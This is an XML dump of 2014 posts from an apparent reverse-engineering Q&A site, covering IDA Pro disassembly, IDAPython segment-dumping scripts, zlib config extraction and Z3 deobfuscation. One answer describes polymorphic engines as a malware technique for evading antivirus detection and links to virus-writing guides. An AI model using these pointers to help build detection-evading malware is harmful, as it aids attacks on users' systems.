  <row Id="3597" PostTypeId="1" AcceptedAnswerId="3633" CreationDate="2014-02-01T22:03:52.943" Score="3" ViewCount="1838" Body="&lt;p&gt;Test platform is Linux 32 bit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use IDA Pro to disassembly the basename from coreutils 8.5&#xA; compiled by gcc 4.6.3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a code snippet generated by IDA Pro&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;           call    _i686_get_pc_thunk_bx                                 &#xA;           add     ebx, 292Eh&#xA;           sub     esp, 18h&#xA;           mov     eax, ds:(__dso_handle_ptr - 804DFF4h[ebx]&#xA;           test    eax, eax&#xA;           jz      short loc_804B6F8&#xA;           mov     eax, [eax]&#xA;&#xA;     loc_804B6DB:&#xA;           mov     [esp+1Ch+var_14], eax&#xA;           mov     eax, [esp+1Ch+arg_0]&#xA;           mov     dword [esp+1Ch+var_18], 0&#xA;           mov     [esp+1Ch+var_1C], eax&#xA;           call    __cxa_atexit&#xA;           add     esp, 18h&#xA;           pop     ebx&#xA;           retn&#xA;&#xA;     loc_804B6F8:&#xA;           xor     eax, eax&#xA;           jmp     short loc_804B6DB&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't understand this line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov     eax, ds:(__dso_handle_ptr - 804DFF4h[ebx]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and after searching the code, I can only find this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        __dso_handle    dd 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in the .data section.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my questions are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;What is the meaning of this line..?  Is it like a version checking stuff..?&lt;/li&gt;&#xA;&lt;li&gt;Can I just safely remove this line without affecting the functionality of the code..?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="3215" LastEditorUserId="60" LastEditDate="2014-02-07T21:12:45.533" LastActivityDate="2014-02-07T21:12:45.533" Title="What is the meaning of this code generated by IDA Pro?" Tags="|ida|disassembly|assembly|disassemblers|nasm|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3598" PostTypeId="2" ParentId="3594" CreationDate="2014-02-01T22:31:45.557" Score="5" Body="&lt;p&gt;Try C4Decompiler and &lt;a href=&quot;http://www.backerstreet.com/rec/rec.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;REC Studio 4&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastEditorUserId="18403" LastEditDate="2016-12-12T07:23:49.787" LastActivityDate="2016-12-12T07:23:49.787" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3601" PostTypeId="2" ParentId="3593" CreationDate="2014-02-02T03:44:19.363" Score="10" Body="&lt;p&gt;If you look at offset 0xDF of your backup file you'll see the two bytes:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;0x78 0xDA&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;These commonly delimit the beginning of a zlib compressed file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In fact, the original XML config file has been split up into multiple zlib compressed blocks:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ binwalk default-config.bin&#xA;&#xA;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------------------&#xA;223           0xDF            Zlib header, best compression, uncompressed size &amp;gt;= 8192&#xA;1211          0x4BB           Zlib header, best compression, uncompressed size &amp;gt;= 8192&#xA;2260          0x8D4           Zlib header, best compression, uncompressed size &amp;gt;= 8192&#xA;2901          0xB55           Zlib header, best compression, uncompressed size &amp;gt;= 8192&#xA;3796          0xED4           Zlib header, best compression, uncompressed size &amp;gt;= 8192&#xA;4306          0x10D2          Zlib header, best compression, uncompressed size &amp;gt;= 8192&#xA;5224          0x1468          Zlib header, best compression, uncompressed size &amp;gt;= 8192&#xA;6066          0x17B2          Zlib header, best compression, uncompressed size &amp;gt;= 8192&#xA;7084          0x1BAC          Zlib header, best compression, uncompressed size &amp;gt;= 8192&#xA;8058          0x1F7A          Zlib header, best compression, uncompressed size &amp;gt;= 8192&#xA;8981          0x2315          Zlib header, best compression, uncompressed size &amp;gt;= 3156&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you decompress each of those blocks and concatenate the decompressed data together, you'll get the original XML config file.&lt;/p&gt;&#xA;" OwnerUserId="1408" LastActivityDate="2014-02-02T03:44:19.363" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3602" PostTypeId="2" ParentId="3596" CreationDate="2014-02-02T07:33:00.073" Score="4" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;IDA will use this variable name if you renamed it somehow.&#xA;This variable name is local for the function because it is a stack offset. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;There is no better way than name modification.&#xA;You can solve this specific kind of error by writing script that renames anything in &lt;code&gt;.rodata&lt;/code&gt; section by applying &lt;code&gt;g_&lt;/code&gt; prefix to any object in it.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The code will look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#Use carefully, I didn't check this code&#xA;#beware errors&#xA;&#xA;import idautils&#xA;import idc&#xA;&#xA;prefixes = {&quot;.rodata&quot;: &quot;g_ro_&quot;,&#xA;            &quot;.data&quot;: &quot;g_&quot;}&#xA;&#xA;#Passing over all non default names&#xA;for (ea, name) in idautils.Names():&#xA;    seg_name = idc.SegName(ea)&#xA;    # if the name is in required segment&#xA;    if seg_name in prefixes:&#xA;        if not name.startswith(prefixes[seg_name]):&#xA;            # renaming it by adding required prefix&#xA;            # if the prefix is not added yet&#xA;            name = prefixes[seg_name] + name&#xA;            idc.MakeName(ea, name)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2318" LastEditorUserId="53" LastEditDate="2014-02-02T08:17:04.733" LastActivityDate="2014-02-02T08:17:04.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3603" PostTypeId="1" AcceptedAnswerId="3609" CreationDate="2014-02-02T15:07:21.333" Score="2" ViewCount="6698" Body="&lt;p&gt;test Platform is &#xA;32 bit Linux ELF and 32 bit Windows PE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use IDC script to extract all the functions from binary and dump &#xA;into a file, then do the analysis based on the examples in IDA Pro book.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I don't know how to extract .data .rodata and .bss&#xA;sections from ELF file using IDC script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently I use IDA Pro to create a asm file, and use Python script to &#xA;do the string parser work, extracting .data .rodata and .bss&#xA;sections from this asm file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically It works fine, but a really tedious modification work is required, &#xA;and as my test base is relatively large(notepad++ and others..), I have to&#xA;spend lots of time do modify work to correctly extract this three sections.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is &quot;is there any idc script/idapython script can extract .data .rodata and .bss&#xA;sections from ELF file?&quot; and any solutions on Windows are also welcomed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="3215" LastActivityDate="2014-02-03T05:41:49.383" Title="How to extract all the rodata data and bss section using IDC script in IDA Pro?" Tags="|ida|disassembly|ida-plugin|idapython|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3604" PostTypeId="2" ParentId="3603" CreationDate="2014-02-02T15:43:08.190" Score="2" Body="&lt;pre&gt;&lt;code&gt;#Use carefully, I didn't check this code&#xA;#beware errors&#xA;#It's IDAPython, not IDC&#xA;#&#xA;&#xA;import idautils&#xA;import idc&#xA;import idaapi&#xA;&#xA;segfiles = {&quot;.rodata&quot;: &quot;rodata.bin&quot;,&#xA;            &quot;.data&quot;: &quot;data.bin&quot;}&#xA;&#xA;# over all segments&#xA;for s in idautils.Segments():&#xA;    if idc.SegName(s) in segfiles:&#xA;        #if we need this segment ...&#xA;        fname = segfiles[idc.SegName(s)]&#xA;        f = open(fname, &quot;wb&quot;)&#xA;        start = idc.GetSegmentAttr(s, idc.SEGATTR_START)&#xA;        end = idc.GetSegmentAttr(s, idc.SEGATTR_END)&#xA;        #from start to end write all to file&#xA;        while start &amp;lt; end:&#xA;            b = idc.Byte(start)&#xA;            f.write(b)&#xA;            start += 1&#xA;        f.close()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2318" LastActivityDate="2014-02-02T15:43:08.190" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3605" PostTypeId="2" ParentId="3579" CreationDate="2014-02-02T16:31:53.367" Score="1" Body="&lt;p&gt;You need two times to save the changes. Once for .text section and re-do  for .rsrc section.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each time you use this option OllyDBG just save all change of the section that you use &quot;copy to executable&quot;&lt;/p&gt;&#xA;" OwnerUserId="3377" LastEditorUserId="3377" LastEditDate="2014-02-02T16:37:46.397" LastActivityDate="2014-02-02T16:37:46.397" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3606" PostTypeId="1" AcceptedAnswerId="3611" CreationDate="2014-02-02T17:57:00.803" Score="6" ViewCount="2015" Body="&lt;p&gt;I would like to know if there are efficient ways to simplify arithmetic formula expression over bit-vectors with &lt;a href=&quot;http://z3.codeplex.com/&quot; rel=&quot;nofollow&quot;&gt;Microsoft Z3&lt;/a&gt;. But, first, I would like to explain a bit the problem. Lets start with an example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;x + y == (x ^ y) + 2 * (x &amp;amp; y)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Both &lt;code&gt;x + y&lt;/code&gt; and &lt;code&gt;(x ^ y) + 2 * (x &amp;amp; y)&lt;/code&gt; are, in fact, coding the addition over bit-vectors. Of course, the right hand formula is used to confuse a reverser when found in the binary program. I try to find tools and techniques to simplify the obfuscated formula and find the simpler form of the formula (left-hand).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For this, I looked at the Python interface of Z3, trying to see what I can get out of it. So, defining the obfuscated formula is done like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; from z3 import *&#xA;&amp;gt;&amp;gt;&amp;gt; x = BitVec('x', 32)&#xA;&amp;gt;&amp;gt;&amp;gt; y = BitVec('y', 32)&#xA;&amp;gt;&amp;gt;&amp;gt; fun1 = (x ^ y) + 2 * (x &amp;amp; y)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, lets try to simplify this function with the help of the built-in function &lt;code&gt;simplify&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; simplify((x ^ y) + 2 * (x &amp;amp; y))&#xA;(x ^ y) + 2*~(~x | ~y)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Not really convincing... But, lets try to prove the equivalence with &lt;code&gt;x + y&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; prove((x ^ y) + 2 * (x &amp;amp; y) == x + y)&#xA;proved&#xA;&amp;gt;&amp;gt;&amp;gt; prove((x ^ y) + 2 * (x &amp;amp; y) == x - y)&#xA;counterexample&#xA;[y = 2164268032, x = 2139094080]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I added a negative result to show that it is also possible to disqualify a formula.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, if the &lt;code&gt;simplify&lt;/code&gt; function is not really convincing, it is still possible to try, in a brute-force manner to compare the unknown formula with a list of simpler and usual formula one after one. But, this way seems extremely inefficient to me. I guess I am missing some smarter algorithms to simplify formula.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to know if there are some already existing tools or well-known techniques to perform in a more efficient manner than the brute-force approach. So, if someone has some hints or comments about this, it would be more than welcome.&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2014-02-03T08:27:31.290" LastActivityDate="2014-02-03T09:07:48.350" Title="How to efficiently simplify obfuscated formula in QF_BV logic with Z3?" Tags="|deobfuscation|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3607" PostTypeId="2" ParentId="3593" CreationDate="2014-02-02T21:55:02.627" Score="5" Body="&lt;p&gt;Ok here is little python script that works :)&#xA;&lt;pre&gt;&lt;code&gt;&#xA;import zlib&lt;/p&gt;&#xA;&#xA;&lt;p&gt;magic_numbers = ['\x78\xDA']&#xA;filename = 'config-marina.bin'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;infile = open(filename, 'r')&#xA;data = infile.read()&lt;/p&gt;&#xA;&#xA;&lt;p&gt;pos = 0&#xA;found = False&lt;/p&gt;&#xA;&#xA;&lt;p&gt;while pos &amp;lt; len(data):&#xA;    window = data[pos:pos+2]&#xA;    for marker in magic_numbers:&#xA;        if window == marker:&#xA;            found = True&#xA;            start = pos&#xA;            print &quot;Start of zlib %s&quot; % pos&#xA;            rest_of_data = data[start:]&#xA;            decomp_obj = zlib.decompressobj()&#xA;            uncompressed_msg = decomp_obj.decompress(rest_of_data)&#xA;            print &quot;Content: %s&quot; % uncompressed_msg&#xA;            break&#xA;    if pos == len(data):&#xA;        break&#xA;    pos += 1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if found:&#xA;    header = data[:start]&#xA;    footer = decomp_obj.unused_data&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if not found:&#xA;    print &quot;Sorry, no zlib found.&quot;&#xA;&lt;/pre&gt;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="3810" LastEditorUserId="3810" LastEditDate="2014-02-04T00:38:04.677" LastActivityDate="2014-02-04T00:38:04.677" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3608" PostTypeId="2" ParentId="3572" CreationDate="2014-02-03T05:29:14.853" Score="3" Body="&lt;p&gt;If you are talking about IDA FLIRT signatures, unfortunately sooner or later you will probably hit their limitations, and, or, get frustrated with the results if you want high accuracy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First you can read about IDA's system in detail here:&#xA;&lt;a href=&quot;https://www.hex-rays.com/products/ida/tech/flirt/in_depth.shtml&quot; rel=&quot;nofollow&quot;&gt;https://www.hex-rays.com/products/ida/tech/flirt/in_depth.shtml&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see it only matches the first 32 bytes of functions.&#xA;And then it uses CRC16 so there is fair chance of collisions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The biggest problem with FLIRT is that it's pretty ambiguous.&lt;br&gt;&#xA;It's prone for false matches. And, or, if the first 32 bytes of a matched function haven't changed but then the rest has it will still match.  This is often a good thing, but then the behavior is unpredictable.&#xA;Also the system within IDA lacks anything more then a minimal UI. &#xA;It would be nice for example if IDA tracked and showed you a list of both what matched and what doesn't match if you wanted it.&#xA;Although supposedly in 6.4 they overhauled and updated the setup so it might have been improved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now it's not terrible; It's better then nothing and is pretty useful over all.&#xA;But because of these problems, you'll probably want to make your own.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I made my own signature system that walks over each function of the source signature target and copies all the non-relative bytes (I.E. it skips the offset bytes from JMP, MOV, CALL instructions, etc.) and makes a 64bit hash of the whole thing.&#xA;I only save unique user named functions and skip small ones (below a byte count cut-off point).  There is no point in saving redundant signatures. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This way I know that later on if I have a match it more then likely a good and unique match.&#xA;It's much more accurate and has little chance of false and redundant matches.&#xA;Also it's done from a plug-in that is about as fast if not faster then IDA's own sig system. It also allows me to add UI lists of matches, non-matches, stats, etc., what ever I want.&lt;/p&gt;&#xA;" OwnerUserId="3828" LastEditorUserId="3828" LastEditDate="2014-02-03T05:39:54.277" LastActivityDate="2014-02-03T05:39:54.277" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3609" PostTypeId="2" ParentId="3603" CreationDate="2014-02-03T05:41:49.383" Score="3" Body="&lt;p&gt;For the &lt;code&gt;.bss&lt;/code&gt; section something like the following may work for you:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import idaapi&#xA;import idc&#xA;&#xA;print &quot;section .bss&quot;&#xA;start = idaapi.get_segm_by_name(&quot;.bss&quot;).startEA&#xA;end = idaapi.get_segm_by_name(&quot;.bss&quot;).endEA&#xA;item = idc.NextHead(start - 1, end)&#xA;while item != BADADDR:&#xA;   next = idc.NextHead(item, end)&#xA;   if next != BADADDR:&#xA;      print &quot;%s: resb %d&quot; % (idc.Name(item), next - item)&#xA;   else:&#xA;      print &quot;%s: resb %d&quot; % (idc.Name(item), end - item)&#xA;   item = next&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;although in practice, &lt;code&gt;NextHead&lt;/code&gt; does not seem to pick up anything named as &lt;code&gt;unk_XXXX&lt;/code&gt;, so you may need to further iterate over the section to determine whether there are any cross references to an address to decide whether to associate a declaration with it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the &lt;code&gt;.data&lt;/code&gt; and &lt;code&gt;.rodata&lt;/code&gt; sections you will need to change to &lt;code&gt;db/dw/dd/...&lt;/code&gt; as appropriate and additionally dump the content of the related items. The challenge for items in these sections is to properly determine the size of each item and correctly choose &lt;code&gt;db/dw/dd/...&lt;/code&gt; Dumping raw bytes with &lt;code&gt;db&lt;/code&gt; may be the simplest approach here.&lt;/p&gt;&#xA;" OwnerUserId="3767" LastActivityDate="2014-02-03T05:41:49.383" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3610" PostTypeId="2" ParentId="2351" CreationDate="2014-02-03T05:47:20.370" Score="10" Body="&lt;p&gt;Old question, but as of IDA 6.5, there is a new menu option &lt;code&gt;Edit/Export data...&lt;/code&gt; that handles this situation for you. First select the data you wish to export then, via the menu option, choose the output format and file name in which to save the data.&lt;/p&gt;&#xA;" OwnerUserId="3767" LastActivityDate="2014-02-03T05:47:20.370" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3611" PostTypeId="2" ParentId="3606" CreationDate="2014-02-03T09:07:48.350" Score="6" Body="&lt;p&gt;Z3 is an SMT solver.  Its job is to decide the satisfiability of formulas passed in by a user, where the formulas may mix terms from the various theories that Z3 supports.  Coincidentally, in order to make its own job easier by producing a &quot;simpler&quot; formula than the one passed in by the user, it implements a simplifier which is not very sophisticated technologically and largely consists of term rewriting rules.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although the user could pose a query regarding the equivalence of two expressions, Z3's only involvement would be to solve the formula.  I.e. Z3 will not generate candidates for you.  It is your job as the user to provide the candidates and query an SMT solver as to their satisfiability.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In general, synthesizing functions is a challenging task in program synthesis.  These queries are naturally posed in second-order logic, but modern SMT solvers support only restrictions of first-order logic.  To sidestep this problem, some published work takes the route of eliminating most candidates from consideration ahead of time, thereby keeping the number of equivalence queries small.  See for example &lt;a href=&quot;http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.93.8843&amp;amp;rep=rep1&amp;amp;type=pdf&quot;&gt;this paper&lt;/a&gt; or &lt;a href=&quot;http://spinroot.com/spin/Workshops/ws13/spin2013_submission_16.pdf&quot;&gt;this one&lt;/a&gt;.  Another approach is to specify a template describing what the candidate functions are allowed to look like; a simple example is &lt;a href=&quot;http://theory.stanford.edu/~ataly/Papers/pldi12.pdf&quot;&gt;this paper&lt;/a&gt;.  These approaches keep the formula to first-order logic, or even quantifier-free.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In general, you should research program synthesis.&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2014-02-03T09:07:48.350" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3612" PostTypeId="2" ParentId="3531" CreationDate="2014-02-03T14:55:09.083" Score="2" Body="&lt;p&gt;Thank you all for your considering! After googling days by days for tools but didn't get any, I had my temporary solution that I write a tool as below:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;For load-time dynamic linking: Parsing the PE structure of this exe to export the dll names in the import directory then search them in %path% enviroment variable and the current directory of the exe. If the dlls exist, I copy them to the output.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;For run-time dynamic linking: Hooking the LoadLibrary functions to get the dll names then check the existence (similar as above).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3737" LastActivityDate="2014-02-03T14:55:09.083" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3613" PostTypeId="5" CreationDate="2014-02-03T19:40:28.597" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2014-02-03T19:40:28.597" LastActivityDate="2014-02-03T19:40:28.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3614" PostTypeId="4" CreationDate="2014-02-03T19:40:28.597" Score="0" Body="Translating a program in binary form into a human readable mnemonics with a separation between instructions and data." OwnerUserId="53" LastEditorUserId="53" LastEditDate="2014-02-03T21:27:12.643" LastActivityDate="2014-02-03T21:27:12.643" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3615" PostTypeId="5" CreationDate="2014-02-03T19:45:18.723" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2014-02-03T19:45:18.723" LastActivityDate="2014-02-03T19:45:18.723" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3616" PostTypeId="4" CreationDate="2014-02-03T19:45:18.723" Score="0" Body="A sequence of instructions performing a basic task packaged as a unit in a program." OwnerUserId="53" LastEditorUserId="53" LastEditDate="2014-02-03T21:26:44.877" LastActivityDate="2014-02-03T21:26:44.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3617" PostTypeId="1" AcceptedAnswerId="4135" CreationDate="2014-02-04T10:07:14.080" Score="12" ViewCount="2812" Body="&lt;p&gt;Is there any kind of software or research or paper which discusses replacement of frequent x86 instructions with ones which are less common and thus less understandable to the attacker (floating point/SSE/Virtualization/undocumented) while still maintaining the functionality?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I wan to replace this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    PUSH EBP&#xA;    MOV EBP,ESP&#xA;    ...&#xA;    PUSH DWORD [0x0BEE]&#xA;    PUSH 3&#xA;    CALL &amp;lt;check&amp;gt;&#xA;    TEST EAX,EAX&#xA;    JE &amp;lt;0xabcd&amp;gt;&#xA;    PUSH &amp;lt;text1&amp;gt;&#xA;    PUSH [EBP+5]&#xA;    CALL &amp;lt;MessageBox&amp;gt;&#xA;0xabcd:&#xA;    PUSH &amp;lt;text2&amp;gt;&#xA;    PUSH [EBP+5]&#xA;    CALL &amp;lt;MessageBox&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    AESKEYGENASSIST&#xA;    VFMSUBADDPD&#xA;    MOVLPS&#xA;    PMADDUBSW&#xA;    RET&#xA;    FLDL2T&#xA;    CMPXCHG8B&#xA;    AESKEYGENASSIST&#xA;    VFMSUBADDPD&#xA;    MOVLPS&#xA;    CMPXCHG8B&#xA;    STOSW&#xA;    VMLAUNCH&#xA;    etc etc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;while still performing the same operation.&lt;/p&gt;&#xA;" OwnerUserId="3834" LastActivityDate="2014-04-24T11:25:40.787" Title="Replacing common x86 instructions with less known ones" Tags="|obfuscation|x86|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3618" PostTypeId="2" ParentId="3617" CreationDate="2014-02-04T13:51:07.030" Score="16" Body="&lt;p&gt;These techniques of mutating code (and still keeping it semantically equivalent) are known as &lt;a href=&quot;http://en.wikipedia.org/wiki/Polymorphic_code&quot;&gt;polymorphic code&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The software that can achieve a mutations of the code is usually called a &lt;a href=&quot;http://en.wikipedia.org/wiki/Polymorphic_engine&quot;&gt;polymorphic engine&lt;/a&gt;. It is a quite widely used technique in Malware design to evade pattern-matching detection of the anti-virus software.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With these key words in hand (and thanks to Google), you will be able to find tons of literature about the topic. But, here are a few pointers:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Dark_Avenger&quot;&gt;Dark Avenger&lt;/a&gt; (Known as the first virus to use polymorphic encoding).&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://download.adamas.ai/dlbase/Stuff/VX%20Heavens%20Library/static/vdat/tupoleng.htm&quot;&gt;An idiot guide to writing polymorphic engines&lt;/a&gt; by Trigger [SLAM] '97.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://vxheavens.com/lib/vmd03.html&quot;&gt;Advanced polymorphic engine construction&lt;/a&gt; by The Mental Driller.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://vxheavens.com/lib/ayt01.html&quot;&gt;Polymorphic Viruses - Implementation, Detection, and Protection&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://vxheavens.com/lib/vrw02.html&quot;&gt;Guide to improving Polymorphic Engines&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.phrack.org/issues.html?issue=61&amp;amp;id=9&quot;&gt;Polymorphic Shellcode Engine Using Spectrum Analysis&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;...&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You also may find polymorphic engines ready to start. Just look for it.&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2014-02-04T13:59:44.083" LastActivityDate="2014-02-04T13:59:44.083" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="3620" PostTypeId="1" CreationDate="2014-02-05T08:44:54.660" Score="6" ViewCount="721" Body="&lt;p&gt;Recently I started using Immunity Debugger instead of Olly where I got really got used to my custom keybidings. I could not seem to find an option to configure shortcuts/keybindings in immunity debugger. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Do you know how to use custom keybinds in immdbg? Any external tool/plugin for this purpose?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="2354" LastActivityDate="2014-02-05T08:44:54.660" Title="Shotcuts in immunity debugger" Tags="|ollydbg|immunity-debugger|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3621" PostTypeId="1" AcceptedAnswerId="3622" CreationDate="2014-02-05T10:17:30.453" Score="3" ViewCount="1925" Body="&lt;p&gt;I have a OCX control which is loaded in Internet Explorer (used to show stream from IP camera). To see live video I have to properly connect to server etc. using methods of created object. The best idea will be to monitor which methods are called from IE. &lt;strong&gt;Is there any possibility to monitor these calls&lt;/strong&gt; and parameters with for example plug-in for IE or some API monitor program?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9Dy2r.png&quot; alt=&quot;OCX information in OLEView&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/vNGuJ.png&quot; alt=&quot;Methods details&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2836" LastActivityDate="2014-02-05T14:31:07.500" Title="OCX methods execution monitoring" Tags="|com|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3622" PostTypeId="2" ParentId="3621" CreationDate="2014-02-05T11:15:18.300" Score="6" Body="&lt;p&gt;You can use API Monitor available here: &lt;a href=&quot;http://www.rohitab.com/apimonitor&quot;&gt;http://www.rohitab.com/apimonitor&lt;/a&gt;&#xA;As this is probably a custom OCX, you will have to write a custom headers file, you can this as an example: &lt;a href=&quot;http://www.rohitab.com/discuss/topic/39850-generate-headers-for-mscomm32ocx/&quot;&gt;http://www.rohitab.com/discuss/topic/39850-generate-headers-for-mscomm32ocx/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3469" LastActivityDate="2014-02-05T11:15:18.300" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
